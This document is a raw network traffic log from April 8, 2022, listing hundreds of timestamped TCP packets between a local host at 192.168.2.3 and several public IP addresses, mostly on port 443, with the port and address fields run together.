Apr 8, 2022 10:03:33.947942972 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:33.948177099 CEST50039443192.168.2.320.54.89.106
Apr 8, 2022 10:03:33.952356100 CEST50039443192.168.2.320.54.89.106
Apr 8, 2022 10:03:33.952397108 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:33.953075886 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:33.955465078 CEST50039443192.168.2.320.54.89.106
Apr 8, 2022 10:03:33.998271942 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:34.041755915 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:34.041800976 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:34.041837931 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:34.041976929 CEST50039443192.168.2.320.54.89.106
Apr 8, 2022 10:03:34.042026997 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:34.042063951 CEST50039443192.168.2.320.54.89.106
Apr 8, 2022 10:03:34.042079926 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:34.042155981 CEST50039443192.168.2.320.54.89.106
Apr 8, 2022 10:03:34.042166948 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:34.042217970 CEST50039443192.168.2.320.54.89.106
Apr 8, 2022 10:03:34.042231083 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:34.042331934 CEST50039443192.168.2.320.54.89.106
Apr 8, 2022 10:03:34.046530962 CEST50039443192.168.2.320.54.89.106
Apr 8, 2022 10:03:34.046574116 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:34.046597958 CEST50039443192.168.2.320.54.89.106
Apr 8, 2022 10:03:34.046612978 CEST4435003920.54.89.106192.168.2.3
Apr 8, 2022 10:03:34.173365116 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.173439026 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.173548937 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.174046993 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.174073935 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.273935080 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.274091005 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.274128914 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.275161982 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.319338083 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.319375038 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.319926023 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.331897020 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.374213934 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.403166056 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.403223991 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.403331995 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.403443098 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.403529882 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.403580904 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.403614044 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.403625011 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.403709888 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.447731972 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.447789907 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.447838068 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.447882891 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.447909117 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.447912931 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.447973967 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.447982073 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.447997093 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.448041916 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.448070049 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.448076010 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.448087931 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.448132038 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.448163986 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.448224068 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.448236942 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.448676109 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.493004084 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493093967 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493117094 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.493161917 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493185997 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.493195057 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493262053 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.493273020 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493293047 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493335962 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.493357897 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.493364096 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493383884 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493427038 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.493474960 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493541002 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.493556023 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493582010 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493649960 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.493662119 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493772984 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.493843079 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.508490086 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.508532047 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.508550882 CEST50040443192.168.2.320.54.110.249
Apr 8, 2022 10:03:34.508563042 CEST4435004020.54.110.249192.168.2.3
Apr 8, 2022 10:03:34.577985048 CEST50041443192.168.2.320.199.120.85
Apr 8, 2022 10:03:34.578051090 CEST4435004120.199.120.85192.168.2.3
Apr 8, 2022 10:03:34.578917980 CEST50041443192.168.2.320.199.120.85
Apr 8, 2022 10:03:34.579487085 CEST50041443192.168.2.320.199.120.85
Apr 8, 2022 10:03:34.579525948 CEST4435004120.199.120.85192.168.2.3
Apr 8, 2022 10:03:34.638058901 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:34.638127089 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:34.638231993 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:34.638633966 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:34.638662100 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:34.701958895 CEST4435004120.199.120.85192.168.2.3
Apr 8, 2022 10:03:34.702095985 CEST50041443192.168.2.320.199.120.85
Apr 8, 2022 10:03:34.704024076 CEST50041443192.168.2.320.199.120.85
Apr 8, 2022 10:03:34.704046965 CEST4435004120.199.120.85192.168.2.3
Apr 8, 2022 10:03:34.704890013 CEST4435004120.199.120.85192.168.2.3
Apr 8, 2022 10:03:34.705780029 CEST50041443192.168.2.320.199.120.85
Apr 8, 2022 10:03:34.705835104 CEST50041443192.168.2.320.199.120.85
Apr 8, 2022 10:03:34.705851078 CEST4435004120.199.120.85192.168.2.3
Apr 8, 2022 10:03:34.706096888 CEST50041443192.168.2.320.199.120.85
Apr 8, 2022 10:03:34.737567902 CEST4435004120.199.120.85192.168.2.3
Apr 8, 2022 10:03:34.737679958 CEST4435004120.199.120.85192.168.2.3
Apr 8, 2022 10:03:34.737782001 CEST50041443192.168.2.320.199.120.85
Apr 8, 2022 10:03:34.737879038 CEST50041443192.168.2.320.199.120.85
Apr 8, 2022 10:03:34.737910986 CEST4435004120.199.120.85192.168.2.3
Apr 8, 2022 10:03:35.043997049 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.044137955 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:35.046525002 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:35.046551943 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.047080994 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.048738956 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:35.090276957 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.311387062 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.311440945 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.311475992 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.311604977 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:35.311651945 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.311681986 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:35.311695099 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.311759949 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:35.311796904 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:35.311990023 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.312125921 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:35.324542999 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:35.324588060 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.324604988 CEST50042443192.168.2.352.152.110.14
Apr 8, 2022 10:03:35.324618101 CEST4435004252.152.110.14192.168.2.3
Apr 8, 2022 10:03:35.399997950 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:35.400068045 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:35.400158882 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:35.400456905 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:35.400487900 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:35.917745113 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:35.917891026 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:35.922005892 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:35.922029018 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:35.922646999 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:35.924141884 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:35.966206074 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:36.262942076 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:36.262989044 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:36.263027906 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:36.263151884 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:36.263195038 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:36.263217926 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:36.263236046 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:36.263242960 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:36.263288975 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:36.263335943 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:36.264853001 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:36.264873981 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:36.264925957 CEST50043443192.168.2.340.125.122.176
Apr 8, 2022 10:03:36.264936924 CEST4435004340.125.122.176192.168.2.3
Apr 8, 2022 10:03:36.322293043 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.322352886 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.322506905 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.323122978 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.323148966 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.417448044 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.417625904 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.417665005 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.417756081 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.424923897 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.424937963 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.425322056 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.426601887 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.470182896 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.517294884 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.517335892 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.517412901 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.517569065 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.517610073 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.539782047 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.539912939 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.539952040 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.540057898 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.559520006 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.559673071 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.559751987 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.559772015 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.559812069 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.559839964 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.559879065 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.559914112 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.559922934 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.559967041 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.559982061 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.560003042 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.581948996 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.582070112 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.582113028 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.582195997 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.601794004 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.601924896 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.601984978 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.601998091 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.602044106 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.602078915 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.602088928 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.602219105 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.603034019 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.609484911 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.609517097 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.609534025 CEST50044443192.168.2.320.54.110.249
Apr 8, 2022 10:03:36.609544992 CEST4435004420.54.110.249192.168.2.3
Apr 8, 2022 10:03:36.723414898 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:36.723469019 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:36.723611116 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:36.723886013 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:36.723911047 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.127450943 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.127610922 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:37.129671097 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:37.129686117 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.130270958 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.132255077 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:37.174201965 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.393486023 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.393539906 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.393579006 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.393619061 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:37.393637896 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.393656015 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:37.393692017 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:37.393764019 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.393831968 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.393834114 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:37.393860102 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.393897057 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:37.393958092 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.394201040 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:37.395879030 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:37.395904064 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.395948887 CEST50045443192.168.2.352.152.110.14
Apr 8, 2022 10:03:37.395965099 CEST4435004552.152.110.14192.168.2.3
Apr 8, 2022 10:03:37.455389977 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:37.455440998 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:37.455715895 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:37.455919027 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:37.455938101 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:37.783464909 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:37.783601046 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:37.788176060 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:37.788197994 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:37.788719893 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:37.790733099 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:37.834208965 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:38.001384974 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:38.001430988 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:38.001468897 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:38.001558065 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:38.001579046 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:38.001650095 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:38.001660109 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:38.001696110 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:38.001754999 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:38.001844883 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:38.006148100 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:38.006166935 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:38.006187916 CEST50046443192.168.2.352.242.101.226
Apr 8, 2022 10:03:38.006196976 CEST4435004652.242.101.226192.168.2.3
Apr 8, 2022 10:03:38.089881897 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.089926958 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.090022087 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.090352058 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.090363026 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.190895081 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.191137075 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.191159964 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.191251993 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.194614887 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.194633007 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.195091009 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.195705891 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.238265038 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.304562092 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.304627895 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.304733038 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.304759979 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.304812908 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.304868937 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.304943085 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.319972992 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.320076942 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.350450993 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.350557089 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.350617886 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.350733042 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.350795984 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.350864887 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.350919962 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.350987911 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.351017952 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.351077080 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.351106882 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.351178885 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.365751028 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.365854979 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.396399975 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.396492958 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.396548986 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.396625042 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.396651983 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.396718979 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.396750927 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.396815062 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.396862030 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.396920919 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.396958113 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.397032022 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.397093058 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.397167921 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.397206068 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.397269964 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.397316933 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.397386074 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.397402048 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.397505045 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.397558928 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.409516096 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.409559965 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.409581900 CEST50047443192.168.2.320.54.110.249
Apr 8, 2022 10:03:38.409595966 CEST4435004720.54.110.249192.168.2.3
Apr 8, 2022 10:03:38.542978048 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:38.543044090 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:38.543128014 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:38.543776989 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:38.543806076 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:38.799118042 CEST804970893.184.220.29192.168.2.3
Apr 8, 2022 10:03:38.799876928 CEST4970880192.168.2.393.184.220.29
Apr 8, 2022 10:03:38.802309990 CEST4970880192.168.2.393.184.220.29
Apr 8, 2022 10:03:38.819333076 CEST804970893.184.220.29192.168.2.3
Apr 8, 2022 10:03:39.064888000 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.065043926 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.067574024 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.067600012 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.068073988 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.069595098 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.110306025 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.408493042 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.408559084 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.408598900 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.408641100 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.408684015 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.408711910 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.408729076 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.408746004 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.408766985 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.408802986 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.408809900 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.408827066 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.408839941 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.408873081 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.408946991 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.409003973 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.410371065 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.410398006 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.410408020 CEST50048443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.410415888 CEST4435004840.125.122.176192.168.2.3
Apr 8, 2022 10:03:39.481472015 CEST50049443192.168.2.340.125.122.176
Apr 8, 2022 10:03:39.481537104 CEST4435004940.125.122.176192.168.2.3
